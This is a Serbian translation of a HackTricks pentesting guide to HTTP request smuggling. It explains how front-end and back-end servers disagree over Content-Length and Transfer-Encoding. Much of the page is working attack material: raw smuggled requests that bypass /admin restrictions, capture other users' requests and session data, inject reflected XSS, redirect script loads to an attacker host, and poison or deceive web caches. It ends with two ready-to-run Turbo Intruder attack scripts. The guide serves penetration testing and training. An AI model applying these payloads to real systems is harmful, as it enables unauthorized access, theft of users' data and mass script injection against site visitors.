hacktricks/pentesting-web/http-request-smuggling/README.md

36 KiB

HTTP Request Smuggling / HTTP Desync Attack

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Šta je

Ova ranjivost se javlja kada desinhronizacija između front-end proxy-ja i back-end servera omogućava napadaču da pošalje HTTP zahtev koji će biti tumačen kao jedan zahtev od strane front-end proxy-ja (balansiranje opterećenja/reverse-proxy) i kao 2 zahteva od strane back-end servera.
Ovo omogućava korisniku da modifikuje sledeći zahtev koji stiže do back-end servera nakon njega.

Teorija

RFC Specifikacija (2161)

Ako se poruka primi sa i Transfer-Encoding zaglavljem i Content-Length zaglavljem, ovaj drugi MORA biti ignorisan.

Content-Length

Entitet zaglavlje Content-Length pokazuje veličinu entitet-tela, u bajtovima, poslatom primaocu.

Transfer-Encoding: chunked

Transfer-Encoding zaglavlje specificira oblik enkodiranja koji se koristi za bezbedan prenos tela opterećenja korisniku.
Chunked znači da se veliki podaci šalju u seriji delova.

Realnost

Front-End (balansiranje opterećenja / Reverse Proxy) obrađuje content-length ili transfer-encoding zaglavlje, a Back-end server obrađuje drugo što izaziva desinhronizaciju između ova 2 sistema.
Ovo može biti veoma kritično jer napadač može poslati jedan zahtev reverse proxy-ju koji će biti tumačen od strane back-end servera kao 2 različita zahteva. Opasnost ove tehnike leži u tome što će back-end server tumačiti ubaceni drugi zahtev kao da je došao od sledećeg klijenta i pravi zahtev tog klijenta će biti deo ubacenog zahteva.

Posebnosti

Zapamtite da u HTTP novi karakter nove linije čine 2 bajta:

  • Content-Length: Ovo zaglavlje koristi decimalni broj da pokaže broj bajtova tela zahteva. Telo se očekuje da se završi poslednjim karakterom, nova linija nije potrebna na kraju zahteva.
  • Transfer-Encoding: Ovo zaglavlje koristi u telu heksadecimalni broj da pokaže broj bajtova sledećeg chunk-a. Chunk mora završiti sa novom linijom ali ova nova linija nije uračunata u indikator dužine. Ovaj metod prenosa mora završiti sa chunk-om veličine 0 praćenim sa 2 nove linije: 0
  • Connection: Na osnovu mog iskustva preporučuje se koristiti Connection: keep-alive na prvom zahtevu za Request Smuggling.

Osnovni Primeri

{% hint style="success" %} Kada pokušavate da iskoristite ovo sa Burp Suite onemogućite Update Content-Length i Normalize HTTP/1 line endings u repeater-u jer neki uređaji zloupotrebljavaju nove linije, povratne znakove i neispravne dužine sadržaja. {% endhint %}

Napadi HTTP zahtevom za desinhronizaciju se kreiraju slanjem nejasnih zahteva koji iskorišćavaju razlike u tome kako front-end i back-end serveri tumače Content-Length (CL) i Transfer-Encoding (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, pretežno kao CL.TE, TE.CL i TE.TE. Svaki tip predstavlja jedinstvenu kombinaciju prioriteta koje front-end i back-end serveri daju ovim zaglavlja. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, dovodeći do neočekivanih i potencijalno zlonamernih ishoda.

Osnovni Primeri Tipova Ranjivosti

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE Ranjivost (Content-Length korišćen od strane Front-End, Transfer-Encoding korišćen od strane Back-End)

  • Front-End (CL): Obradjuje zahtev na osnovu Content-Length zaglavlja.
  • Back-End (TE): Obradjuje zahtev na osnovu Transfer-Encoding zaglavlja.
  • Scenario Napada:
  • Napadač šalje zahtev gde vrednost Content-Length zaglavlja ne odgovara stvarnoj dužini sadržaja.
  • Front-end server prosleđuje ceo zahtev back-end serveru, na osnovu vrednosti Content-Length.
  • Back-end server obrađuje zahtev kao chunked zbog Transfer-Encoding: chunked zaglavlja, tumačeći preostale podatke kao odvojen, naknadni zahtev.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Ranjivost (Transfer-Encoding korišćen od strane Front-End, Content-Length korišćen od strane Back-End)

  • Front-End (TE): Obradjuje zahtev na osnovu Transfer-Encoding zaglavlja.
  • Back-End (CL): Obradjuje zahtev na osnovu Content-Length zaglavlja.
  • Scenario Napada:
  • Napadač šalje chunked zahtev gde se veličina chunk-a (7b) i stvarna dužina sadržaja (Content-Length: 4) ne poklapaju.
  • Front-end server, poštujući Transfer-Encoding, prosleđuje ceo zahtev back-end serveru.
  • Back-end server, poštujući Content-Length, obrađuje samo početni deo zahteva (7b bajtova), ostavljajući ostatak kao deo nenamernog naknadnog zahteva.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding korišćen od strane oba, sa obfuscacijom)

  • Serveri: Oba podržavaju Transfer-Encoding, ali jedan može biti prevaren da ga ignoriše putem obfuscacije.
  • Scenario napada:
  • Napadač šalje zahtev sa obfuskovanim Transfer-Encoding zaglavljima.
  • Zavisno o tome koji server (prednji ili zadnji) ne uspe da prepozna obfuskaciju, može se iskoristiti CL.TE ili TE.CL ranjivost.
  • Neobrađeni deo zahteva, viđen od strane jednog od servera, postaje deo narednog zahteva, što dovodi do krijumčarenja.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length korišćen od strane oba prednji i zadnji deo):

  • Oba servera obrađuju zahtev isključivo na osnovu zaglavlja Content-Length.
  • Ovaj scenario obično ne dovodi do krijumčarenja, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normalan zahtev

CL != 0 Scenario:

  • Odnosi se na scenarije gde je zaglavlje Content-Length prisutno i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj.
  • Ključno je za razumevanje i kreiranje napada krijumčarenja, jer utiče na to kako serveri određuju kraj zahteva.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Telo sa sadržajem

Razbijanje veb servera

Ova tehnika je takođe korisna u scenarijima gde je moguće pokvariti veb server dok se čita početni HTTP podaci ali bez zatvaranja konekcije. Na ovaj način, telo HTTP zahteva će biti smatrano narednim HTTP zahtevom.

Na primer, kako je objašnjeno u ovom objašnjenju, u Werkzeug-u je bilo moguće poslati neke Unicode karaktere i to će naterati server da se pokvari. Međutim, ako je HTTP konekcija uspostavljena sa zaglavljem Connection: keep-alive, telo zahteva neće biti pročitano i konekcija će i dalje biti otvorena, tako da će se telo zahteva smatrati narednim HTTP zahtevom.

Forsiranje putem hop-by-hop zaglavlja

Zloupotrebom hop-by-hop zaglavlja možete ukazati proksiju da obriše zaglavlje Content-Length ili Transfer-Encoding tako da je moguće zloupotrebiti HTTP zahtev krijumčarenjem.

Connection: Content-Length

Za više informacija o zaglavlja korak-po-korak posetite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Pronalaženje Ranjivosti HTTP zahteva za krijumčarenje

Identifikacija ranjivosti HTTP zahteva za krijumčarenje često se može postići korišćenjem tehnika vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulisane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:

Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Vremena

  • Metod:
  • Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Posmatranje:
  • Prednja serverska strana obrađuje zahtev na osnovu Content-Length i prekida poruku prerano.
  • Zadnja serverska strana, očekujući poruku u blokovima, čeka sledeći blok koji nikada ne stiže, uzrokujući kašnjenje.
  • Indikatori:
  • Istek vremena ili dugotrajna kašnjenja u odgovoru.
  • Primanje greške 400 Bad Request od zadnje serverske strane, ponekad sa detaljnim informacijama o serveru.

Pronalaženje TE.CL Ranjivosti Korišćenjem Tehnika Vremena

  • Metod:
  • Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Posmatranje:
  • Prednja serverska strana obrađuje zahtev na osnovu Transfer-Encoding i prosleđuje celu poruku.
  • Zadnja serverska strana, očekujući poruku na osnovu Content-Length, čeka na dodatne podatke koji nikada ne stižu, uzrokujući kašnjenje.

Druge Metode za Pronalaženje Ranjivosti

  • Analiza diferencijalnog odgovora:
  • Pošaljite blago varijante zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neslaganje u parsiranju.
  • Korišćenje Automatizovanih Alata:
  • Alati poput Burp Suite-ovog dodatka 'HTTP Request Smuggler' mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analiziranjem odgovora.
  • Testovi varijacije Content-Length:
  • Pošaljite zahteve sa različitim vrednostima Content-Length koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takve neslaganja.
  • Testovi varijacije Transfer-Encoding:
  • Pošaljite zahteve sa zamućenim ili neispravnim zaglavljima Transfer-Encoding i pratite kako prednja i zadnja serverska strana reaguju na takve manipulacije.

Testiranje Ranjivosti HTTP zahteva za krijumčarenje

Nakon potvrde efikasnosti tehnika vremena, ključno je verifikovati da li se klijentski zahtevi mogu manipulisati. Jednostavan metod je pokušati otrovati vaše zahteve, na primer, tako što će zahtev za / rezultirati odgovorom 404. Primeri CL.TE i TE.CL koji su prethodno razmatrani u Osnovnim Primerima pokazuju kako otrovati klijentov zahtev da izazove odgovor 404, iako klijent pokušava pristupiti drugom resursu.

Ključne Razmatranja

Prilikom testiranja ranjivosti zahteva za krijumčarenje mešanjem sa drugim zahtevima, imajte na umu:

  • Različite Mrežne Veze: "Napadni" i "normalni" zahtevi trebaju biti poslati preko odvojenih mrežnih veza. Korišćenje iste veze za oba ne potvrđuje prisustvo ranjivosti.
  • Konstantne URL adrese i Parametri: Ciljajte da koristite identične URL adrese i imena parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka specifičnim zadnjim serverskim stranama na osnovu URL adresa i parametara. Podudaranje ovih povećava verovatnoću da će oba zahteva biti obrađena od strane istog servera, što je preduslov za uspešan napad.
  • Vremenski i Trkački Uslovi: "Normalni" zahtev, namenjen otkrivanju mešanja sa "napadnim" zahtevom, takmiči se sa drugim istovremenim zahtevima aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za potvrdu ranjivosti.
  • Izazovi Balansiranja Opterećenja: Prednje serverske strane koje deluju kao balanseri opterećenja mogu distribuirati zahteve ka različitim zadnjim sistemima. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati više pokušaja za potvrdu ranjivosti.
  • Neželjeni Uticaj na Korisnike: Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali radi detekcije), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može poremetiti druge korisnike, zahtevajući oprezan pristup.

Zloupotreba HTTP zahteva za krijumčarenje

Obilaženje Bezbednosti Prednje Strane putem HTTP zahteva za krijumčarenje

Ponekad, prednji proksi sprovodi bezbednosne mere, analizirajući dolazne zahteve. Međutim, ove mere mogu biti zaobiđene iskorišćavanjem HTTP zahteva za krijumčarenje, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup /admin može biti zabranjen spolja, pri čemu prednji proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može propustiti da inspicira ugnežđene zahteve unutar krijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.

Razmotrite sledeće primere koji ilustruju kako se HTTP zahtevi za krijumčarenje mogu koristiti za obilaženje kontrola bezbednosti prednje strane, ciljajući specifično putanju /admin koja je obično čuvana od strane prednjeg proksija:

Primer CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

U napadu CL.TE, zaglavlje Content-Length se koristi za početni zahtev, dok ugneždeni zahtev koristi zaglavlje Transfer-Encoding: chunked. Prednji proxy obrađuje početni POST zahtev ali ne pregleda ugneždeni GET /admin zahtev, omogućavajući neovlašćen pristup putanji /admin.

TE.CL Primer

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Suprotno tome, u TE.CL napadu, početni POST zahtev koristi Transfer-Encoding: chunked, a naknadni ugnježdeni zahtev se obrađuje na osnovu zaglavlja Content-Length. Slično kao kod CL.TE napada, prednji proxy propušta ugnježdeni GET /admin zahtev, nenamerno omogućavajući pristup ograničenom /admin putanji.

Otkrivanje prepravljanja zahteva na prednjoj strani

Aplikacije često koriste prednji server da modifikuju dolazne zahteve pre prosleđivanja na serversku stranu. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je X-Forwarded-For: <IP klijenta>, kako bi se prosledila IP adresa klijenta serverskoj strani. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za zaobilaženje zaštite ili otkrivanje skrivenih informacija ili krajnjih tačaka.

Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji serverska strana vraća u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar na kraju, slično kao u sledećem primeru:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

U ovoj strukturi, naknadni delovi zahteva se dodaju nakon search=, koji je parametar prikazan u odgovoru. Ovaj odraz će otkriti zaglavlja naknadnog zahteva.

Važno je uskladiti Content-Length zaglavlje ugnježdenog zahteva sa stvarnom dužinom sadržaja. Počevši od male vrednosti i postepeno je povećavajući je preporučljivo, jer preniska vrednost može skratiti odražene podatke, dok previsoka vrednost može izazvati grešku u zahtevu.

Ova tehnika je takođe primenjiva u kontekstu ranjivosti TE.CL, ali zahtev treba da se završi sa search=\r\n0. Bez obzira na znakove nove linije, vrednosti će se dodati parametru pretrage.

Ovaj metod pretežno služi da se razumeju modifikacije zahteva koje je napravio prednji proxy, suštinski vršeći samostalnu istragu.

Snimanje zahteva drugih korisnika

Moguće je snimiti zahteve sledećeg korisnika dodavanjem određenog zahteva kao vrednosti parametra tokom POST operacije. Evo kako se to može postići:

Dodavanjem sledećeg zahteva kao vrednosti parametra, možete sačuvati zahtev sledećeg klijenta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

U ovom scenariju, parametar komentara je namenjen za čuvanje sadržaja unutar sekcije komentara na javno dostupnoj stranici. Kao rezultat, sadržaj narednog zahteva će se pojaviti kao komentar.

Međutim, ova tehnika ima svoja ograničenja. Generalno, hvata podatke samo do granice parametra korišćene u prokrijumčarenom zahtevu. Za URL-kodirane forme, ova granica je znak &. To znači da će uhvaćeni sadržaj iz zahteva žrtve stati na prvom &, što može biti deo upita.

Dodatno, važno je napomenuti da je ovaj pristup takođe izvodljiv sa ranjivošću TE.CL. U takvim slučajevima, zahtev bi trebalo da se završi sa search=\r\n0. Bez obzira na znakove nove linije, vrednosti će biti dodate parametru pretrage.

Korišćenje HTTP zahteva za prokrijumčarenje radi iskorišćavanja reflektovanog XSS

HTTP zahtev za prokrijumčarenje može se iskoristiti za iskorišćavanje veb stranica koje su ranjive na Reflektovani XSS, nudeći značajne prednosti:

  • Interakcija sa ciljanim korisnicima nije potrebna.
  • Omogućava iskorišćavanje XSS u delovima zahteva koji su normalno nedostupni, poput zaglavlja HTTP zahteva.

U scenarijima gde je veb sajt podložan Reflektovanom XSS putem zaglavlja User-Agent, sledeći payload demonstrira kako iskoristiti ovu ranjivost:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ova payload je strukturirana da iskoristi ranjivost na sledeći način:

  1. Pokretanje POST zahteva, navodno tipičnog, sa zaglavljem Transfer-Encoding: chunked kako bi označili početak smugglinga.
  2. Nastavak sa 0, označavajući kraj chunked tela poruke.
  3. Zatim se uvodi smuggled GET zahtev, gde je zaglavlje User-Agent ubačeno sa skriptom, <script>alert(1)</script>, pokrećući XSS kada server obradi ovaj naknadni zahtev.

Manipulacijom User-Agent-a putem smugglinga, payload zaobilazi normalna ograničenja zahteva, iskorišćavajući tako ranjivost Reflected XSS na nekonvencionalan, ali efikasan način.

HTTP/0.9

{% hint style="danger" %} U slučaju da korisnički sadržaj bude reflektovan u odgovoru sa Content-type kao što je text/plain, sprečavajući izvršenje XSS-a. Ako server podržava HTTP/0.9, možda je moguće zaobići ovo! {% endhint %}

Verzija HTTP/0.9 je prethodila verziji 1.0 i koristi samo GET glagole i ne odgovara sa zaglavljima, već samo telom.

U ovom writeup-u, ovo je zloupotrebljeno sa zahtevom za smuggling i ranjivim endpointom koji će odgovoriti sa unosom korisnika kako bi se prokrijumčario zahtev sa HTTP/0.9. Parametar koji će biti reflektovan u odgovoru sadržava lažni HTTP/1.1 odgovor (sa zaglavljima i telom) tako da će odgovor sadržati validan izvršni JS kod sa Content-Type-om text/html.

Iskorišćavanje On-site Preusmerenja sa HTTP Request Smuggling

Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz Host zaglavlja u URL-u preusmerenja. Ovo je uobičajeno kod web servera poput Apache i IIS. Na primer, zahtevanje fascikle bez kosa crta na kraju rezultuje preusmeravanjem da uključi kosu crtu:

GET /home HTTP/1.1
Host: normal-website.com

Rezultati su:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Iako naizgled bezopasno, ovaj ponašanje može biti manipulisan korišćenjem HTTP zahteva za krijumčarenje kako bi se korisnici preusmerili na spoljni sajt. Na primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb lokaciju kojom upravlja napadač:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Rezultati su:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

U ovom scenariju, zahtev korisnika za JavaScript datotekom je otet. Napadač može potencijalno ugroziti korisnika posluživanjem zlonamernog JavaScript koda kao odgovor.

Iskorišćavanje Trovanja Web Keša putem HTTP Zahteva Smuggling-a

Trovanje web keša može biti izvršeno ako bilo koji deo front-end infrastrukture kešira sadržaj, obično radi poboljšanja performansi. Manipulacijom odgovora servera, moguće je trovanje keša.

Ranije smo primetili kako se odgovori servera mogu promeniti da bi vratili grešku 404 (pogledajte Osnovne Primere). Slično tome, moguće je prevariti server da isporuči sadržaj /index.html kao odgovor na zahtev za /static/include.js. Kao rezultat, sadržaj /static/include.js se zamenjuje u kešu sa sadržajem /index.html, čineći /static/include.js nedostupnim korisnicima, što potencijalno može dovesti do DoS (Denial of Service) napada.

Ova tehnika postaje posebno moćna ako se otkrije Ranjivost otvorenog preusmeravanja ili ako postoji preusmeravanje na otvoreno preusmeravanje na sajtu. Takve ranjivosti mogu biti iskorišćene da bi se zamenio keš sadržaj /static/include.js skriptom pod kontrolom napadača, omogućavajući suštinski širok napad Cross-Site Scripting (XSS) protiv svih klijenata koji zahtevaju ažurirani /static/include.js.

U nastavku je prikazano iskorišćavanje trovanja keša u kombinaciji sa preusmeravanjem na otvoreno preusmeravanje na sajtu. Cilj je promeniti keš sadržaj /static/include.js da posluži JavaScript kod koji kontroliše napadač:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Primetite ugnežđeni zahtev usmeren ka /post/next?postId=3. Ovaj zahtev će biti preusmeren na /post?postId=4, koristeći vrednost zaglavlja Host da odredi domen. Menjanjem zaglavlja Host, napadač može preusmeriti zahtev na svoj domen (unutrašnja preusmerenja na otvorena preusmerenja).

Nakon uspešnog trovanja soketa, treba pokrenuti GET zahtev za /static/include.js. Ovaj zahtev će biti kontaminiran prethodnim zahtevom unutrašnja preusmerenja na otvorena preusmerenja i dohvatiti sadržaj skripte kojom upravlja napadač.

Nakon toga, svaki zahtev za /static/include.js će poslužiti keširani sadržaj skripte napadača, efikasno pokrećući širok XSS napad.

Korišćenje HTTP zahteva za krijumčarenje kako bi se izveo prevarantni veb keš

Koja je razlika između trovanja veb keša i prevarantnog veb keša?

  • U trovanju veb keša, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se poslužuje iz keša drugim korisnicima aplikacije.
  • U prevarantnom veb kešu, napadač uzrokuje da aplikacija sačuva neki osetljivi sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima taj sadržaj iz keša.

Napadač kreira krijumčareni zahtev koji dohvata osetljiv korisnički specifičan sadržaj. Razmotrite sledeći primer:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ako ovaj krijumčareni zahtev otrovi keš zapis namenjen statičkom sadržaju (npr. /someimage.png), osetljivi podaci žrtve iz /private/messages mogu biti keširani pod keš zapisom statičkog sadržaja. Kao rezultat toga, napadač bi potencijalno mogao povratiti ove keširane osetljive podatke.

Zloupotreba TRACE putem HTTP Request Smuggling

U ovom postu se sugeriše da ukoliko je server omogućio metodu TRACE, moguće je zloupotrebiti je sa HTTP Request Smuggling-om. Ovo je zato što će ova metoda odražavati bilo koji zaglavlje poslato serveru kao deo tela odgovora. Na primer:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Poslaće odgovor poput:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Jedan primer kako zloupotrebiti ovu ponašanje bilo bi prvo prokrijumčariti HEAD zahtev. Ovaj zahtev će dobiti odgovor samo sa zaglavljima GET zahteva (Content-Type među njima). Zatim prokrijumčariti odmah nakon HEAD zahteva TRACE zahtev, koji će reflektovati poslate podatke.
Pošto će odgovor HEAD zahteva sadržati zaglavlje Content-Length, odgovor TRACE zahteva će biti tretiran kao telo odgovora HEAD zahteva, te će reflektovati proizvoljne podatke u odgovoru.
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, pa bi ovo moglo biti korišćeno u keširanom JS fajlu na primer za ubacivanje proizvoljnog JS koda.

Zloupotreba TRACE putem Razdvajanja HTTP Odgovora

Nastavite pratiti ovaj post predložen je još jedan način zloupotrebe metode TRACE. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće kontrolisati neke reflektovane podatke u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je uglavnom naznačena u zaglavlju Content-Length i formirana je odgovorom na TRACE zahtev.

Stoga, nova ideja bi bila da, znajući ovaj Content-Length i podatke dati u TRACE odgovoru, moguće je napraviti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču potpunu kontrolu nad zahtevom ka sledećem odgovoru (što bi moglo biti korišćeno za izvođenje trovanja keša).

Primer:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Će generisati ove odgovore (obratite pažnju kako HEAD odgovor ima Content-Length čineći TRACE odgovor deo HEAD tela i kada HEAD Content-Length završi, validan HTTP odgovor je prokrijumčaren):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Oružjeziranje HTTP zahteva za krijumčarenje sa dezinkronizacijom HTTP odgovora

Da li ste pronašli neku ranjivost u vezi sa krijumčarenjem HTTP zahteva i ne znate kako da je iskoristite. Pokušajte sa ovom drugom metodom iskorišćavanja:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Druge tehnike krijumčarenja HTTP zahteva

  • Klijentsko krijumčarenje HTTP zahteva pretraživača (sa klijentske strane)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Krijumčarenje zahteva u HTTP/2 spuštanju

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Turbo intruder skripte

CL.TE

Sa https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Od: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Alati

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: